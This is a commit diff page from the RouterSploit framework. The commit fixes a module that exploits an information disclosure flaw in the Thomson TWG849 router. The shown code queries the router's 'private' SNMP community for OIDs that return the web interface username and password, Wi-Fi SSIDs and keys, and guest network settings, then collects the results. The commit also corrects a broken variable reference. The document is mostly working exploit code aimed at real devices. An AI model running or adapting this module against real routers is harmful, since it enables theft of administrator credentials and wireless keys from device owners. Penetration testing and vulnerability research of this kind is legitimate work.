Unverified Commit eae2c0c7 by Marcin Bury Committed by GitHub

Fixing Thomson TWG849 Info Disclosure module (#410)

parent db145aaf
...@@ -5,7 +5,7 @@ from routersploit.core.snmp.snmp_client import SNMPClient ...@@ -5,7 +5,7 @@ from routersploit.core.snmp.snmp_client import SNMPClient
class Exploit(SNMPClient): class Exploit(SNMPClient):
__info__ = { __info__ = {
"name": "Thomson TWG849 Info Disclosure", "name": "Thomson TWG849 Info Disclosure",
"description": "Module exploits Thomson TWG849 information disclosure vulnerability which allows to read sensitive information.", "description": "Module exploits Thomson TWG849 information disclosure vulnerability which allows reading sensitive information.",
"authors": [ "authors": [
"Sebastian Perez", # vulnerability discovery "Sebastian Perez", # vulnerability discovery
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
...@@ -21,15 +21,22 @@ class Exploit(SNMPClient): ...@@ -21,15 +21,22 @@ class Exploit(SNMPClient):
target = OptIP("", "Target IPv4 or IPv6 address") target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(161, "Target SNMP port") port = OptPort(161, "Target SNMP port")
oids = { # make, model, software version verbosity = OptBool("false", "Enable verbose output: true/false")
def __init__(self):
self.oids = {
# make, model, software version
"model": "1.3.6.1.2.1.1.1.0", "model": "1.3.6.1.2.1.1.1.0",
"uptime": "1.3.6.1.2.1.1.3.0", "uptime": "1.3.6.1.2.1.1.3.0",
# web interface credentials # web interface credentials
"username": "1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0", "username": "1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0",
"password": "1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0", "password": "1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0",
# ssid and key # ssid and key
"ssid1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32", "ssid1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32",
"ssid2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32", "ssid2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32",
# guest network oids # guest network oids
"guest1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33", "guest1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33",
"guest2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34", "guest2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34",
...@@ -43,7 +50,9 @@ class Exploit(SNMPClient): ...@@ -43,7 +50,9 @@ class Exploit(SNMPClient):
for name in self.oids.keys(): for name in self.oids.keys():
snmp = self.snmp_get("private", self.oids[name]) snmp = self.snmp_get("private", self.oids[name])
if snmp: if snmp:
value = str(varBinds[0][1]) value = str(snmp[0][1])
if value:
res.append((name, value)) res.append((name, value))
if res: if res:
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment